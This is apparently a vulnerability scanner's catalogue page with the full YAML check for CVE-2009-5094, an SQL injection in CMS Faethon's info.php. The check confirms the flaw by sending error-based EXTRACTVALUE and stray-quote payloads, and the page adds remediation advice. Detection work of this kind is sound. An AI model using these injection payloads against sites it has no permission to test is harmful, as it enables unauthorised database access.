CMS Faethon — 1 vulnerability check

noctis ships 1 vulnerability check for CMS Faethon, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CMS Faethon info.php item SQL injection

CVECVE-2009-5094
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/cms-faethon/CVE-2009-5094.yaml

info.php of CMS Faethon 2.2.0 Ultimate places the item parameter into its MySQL query without escaping it, so a remote, unauthenticated attacker can run arbitrary SQL against the site database.

The check first confirms the product from the home page of the web root, /faethon and /22_ultimate. It then sends an EXTRACTVALUE expression built from two random numbers in the item parameter, in a quoted and in an unquoted form. The injection is confirmed when the database error returned by the page carries the product of those numbers, which only the database can have computed. On older MySQL servers without EXTRACTVALUE, it falls back to a stray quote followed by a random word: the flaw is reported when the MySQL syntax error quotes that word while a plain numeric item causes no SQL error. The requests only make the query fail; nothing is read or written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{v.d}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{v.d}}/info.php?item=x%27%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%20A…
  5. HTTP(S) request GET {{v.d}}/info.php?item=extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))
  6. Parses / computes the next value with a Rhai script
  7. Checks xv for XPATH syntax error carrying ~[0-9]+ → finding QoD 97: CMS Faethon info.php SQL injection (CVE-2009-5094)
  8. HTTP(S) request GET {{v.d}}/info.php?item=%27{{sc.tok}}
  9. HTTP(S) request GET {{v.d}}/info.php?item={{sc.ctl}}
  10. Parses / computes the next value with a Rhai script
  11. Checks fallback for MySQL syntax error quoting the injected marker → finding QoD 75: CMS Faethon info.php SQL injection (CVE-2009-5094)

References:

Feed source — tests/vulnerabilities/cms-faethon/CVE-2009-5094.yaml
# CMS Faethon 2.2 Ultimate — info.php item SQL injection (CVE-2009-5094).
#
# info.php of CMS Faethon 2.2.0 Ultimate splices the item parameter into a
# MySQL query unescaped (BID 33775, EDB-8054). The product source is no longer
# published; the vector follows the advisory and the reference check.
#
# Detection, read-only, for the web root, /faethon and /22_ultimate:
#   0. Product gate — index.php carries "Powered by" and "CMS Faethon" (the
#      reference check's own gate); nothing is sent to info.php otherwise.
#   1. QoD 97 — item = x' AND extractvalue(1,concat(0x7e,A*B)) AND '1'='1
#      (quoted context) and extractvalue(1,concat(0x7e,A*B)) (unquoted
#      context). A, B: random 6-digit numbers. MySQL >= 5.1 evaluates the
#      constant expression while preparing the query and fails with
#      "XPATH syntax error: '~<A*B>'": the product never appears in the
#      request, so only the database can have computed it. Nothing is read or
#      written.
#   2. QoD 75 fallback (MySQL < 5.1 has no EXTRACTVALUE) — item = 'NOCTIS<rand>
#      (the reference check's stray quote, with a random word): the MySQL syntax
#      error quotes the word, while a digits-only control value shows no SQL
#      error. Reported only when stage 1 gave no proof in any directory.
#
# Reference: OpenVAS/Greenbone NVT `2011/gb_cms_faethon_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.802162, GPL-2.0-only) — sends info.php?item=' and
# matches "You have an error in your SQL syntax;" in the reply. This feed adds a
# computed (QoD 97) proof, a control request, and requires the parser message to
# quote the random word, so a page that always prints an SQL error is not
# reported. The reference check also fires on any page showing that string.
# CVSS: NVD carries only a CVSS v2 score (7.5).
uid: 11cea9eb-7440-4bb7-b6ff-293a6f6caa53
name: "CMS Faethon info.php item SQL injection (CVE-2009-5094)"
description: |
  info.php of CMS Faethon 2.2.0 Ultimate places the item parameter into its
  MySQL query without escaping it, so a remote, unauthenticated attacker can
  run arbitrary SQL against the site database.

  The check first confirms the product from the home page of the web root,
  /faethon and /22_ultimate. It then sends an EXTRACTVALUE expression built
  from two random numbers in the item parameter, in a quoted and in an
  unquoted form. The injection is confirmed when the database error returned by
  the page carries the product of those numbers, which only the database can
  have computed. On older MySQL servers without EXTRACTVALUE, it falls back to
  a stray quote followed by a random word: the flaw is reported when the MySQL
  syntax error quotes that word while a plain numeric item causes no SQL error.
  The requests only make the query fail; nothing is read or written.
cves: [CVE-2009-5094]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [faethon, cms, php, mysql, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-5094"
  - "http://www.securityfocus.com/bid/33775"
  - "https://www.exploit-db.com/exploits/8054"
  - "http://secunia.com/advisories/30098"

steps:
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, prod: "~" + (a * b),
         tok: "NOCTIS" + rand_int(10000000, 99999999) + "Q",
         ctl: "" + rand_int(10000000, 99999999) }
    store_as: sc

  - id: init-fallback
    action: set_var
    var_name: fallback
    var_value: ""

  # ── Per install dir (loop group) ──────────────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: v
      over:
        - {d: ""}
        - {d: "/faethon"}
        - {d: "/22_ultimate"}

  - id: init-xvq
    action: set_var
    var_name: xvq
    var_value: {status: 0, body: ""}

  - id: init-xvn
    action: set_var
    var_name: xvn
    var_value: {status: 0, body: ""}

  - id: init-qm
    action: set_var
    var_name: qm
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-isf
    action: set_var
    var_name: isf
    var_value: false

  - id: home-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{v.d}}/index.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home

  - id: check-home
    action: script
    code: |
      let b = if type_of(home.body) == "string" { home.body } else { "" };
      home.status >= 200 && home.status < 400 && b.contains(">Powered by <") && b.contains(">CMS Faethon")
    store_as: isf

  # Stage 1: EXTRACTVALUE error carrying the database-computed product —
  # quoted context first …
  - id: xv-quoted
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{v.d}}/info.php?item=x%27%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%20AND%20%271%27=%271"
    condition: "isf"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: xvq

  # … then unquoted.
  - id: xv-numeric
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{v.d}}/info.php?item=extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))"
    condition: "isf"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: xvn

  - id: check-xv
    action: script
    code: |
      let bq = if type_of(xvq.body) == "string" { xvq.body } else { "" };
      let bn = if type_of(xvn.body) == "string" { xvn.body } else { "" };
      let re = "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?" + sc.prod + "(?:[^0-9]|$)";
      let hq = isf && ereg(re, bq);
      let hn = isf && !hq && ereg(re, bn);
      if hq {
        v.d + "/info.php item=x' AND extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + ")) AND '1'='1: XPATH syntax error carrying " + sc.prod + " (HTTP " + xvq.status + ")"
      } else if hn {
        v.d + "/info.php item=extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + ")): XPATH syntax error carrying " + sc.prod + " (HTTP " + xvn.status + ")"
      } else { "" }
    store_as: xv

  - id: report-xv
    action: match
    source: xv
    pattern: "XPATH syntax error carrying ~[0-9]+"
    condition: 'xv != ""'
    on_match:
      finding:
        title: "CMS Faethon info.php SQL injection (CVE-2009-5094)"
        description: "CMS Faethon ran an SQL expression injected through the item parameter of info.php: the database error returned by the page carries the product of two random numbers chosen by the scanner, which never appear in the request. An unauthenticated attacker can run arbitrary SQL against the site database (read or change accounts and content)."
        remediation: "CMS Faethon 2.2 Ultimate is no longer maintained and no fixed release is documented: take the site offline or move to a maintained CMS. If you maintain the code, cast item to an integer (or bind it as a query parameter) in info.php, and do not print database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "Error-based SQLi confirmed: {{xv}}"
      stop: true

  # Stage 2 (MySQL < 5.1): syntax error quoting a random marker + control.
  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{v.d}}/info.php?item=%27{{sc.tok}}"
    condition: 'fallback == "" && isf'
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: qm

  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{v.d}}/info.php?item={{sc.ctl}}"
    condition: 'fallback == "" && qm.status != 0'
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ctl

  - id: check-qm
    action: script
    code: |
      if fallback != "" { fallback } else {
        let b = if type_of(qm.body) == "string" { qm.body } else { "" };
        let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
        let q = "(?:'|&#0?39;|&#x27;|&apos;)";
        let syn = isf && ereg("(?i)error in your SQL syntax[^\\n]{0,200}near " + q + "[^\\n]{0,24}" + sc.tok, b);
        let cerr = ereg("(?i)error in your SQL syntax|XPATH syntax error", cb);
        if ctl.status != 0 && syn && !cerr {
          v.d + "/info.php item='" + sc.tok + ": MySQL syntax error quoting the injected marker (HTTP " + qm.status + "), control item=" + sc.ctl + " without SQL error (HTTP " + ctl.status + ")"
        } else { "" }
      }
    store_as: fallback

  # ── Fallback report (no stage 1 proof in any dir) ─────────────────────────
  - id: once
    action: set_var
    var_name: done
    var_value: true
    loop:
      var: o
      over: ["once"]

  - id: report-qm
    action: match
    source: fallback
    pattern: "MySQL syntax error quoting the injected marker"
    condition: 'fallback != ""'
    on_match:
      finding:
        title: "CMS Faethon info.php SQL injection (CVE-2009-5094)"
        description: "A single quote sent in the item parameter of CMS Faethon info.php broke the SQL query: the MySQL syntax error quotes the random text that followed it, while a plain numeric item caused no SQL error. The parameter reaches the query unescaped, so an unauthenticated attacker can run arbitrary SQL against the site database."
        remediation: "CMS Faethon 2.2 Ultimate is no longer maintained and no fixed release is documented: take the site offline or move to a maintained CMS. If you maintain the code, cast item to an integer (or bind it as a query parameter) in info.php, and do not print database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "Error-based SQLi: {{fallback}}"
      stop: true

View these feeds on GitHub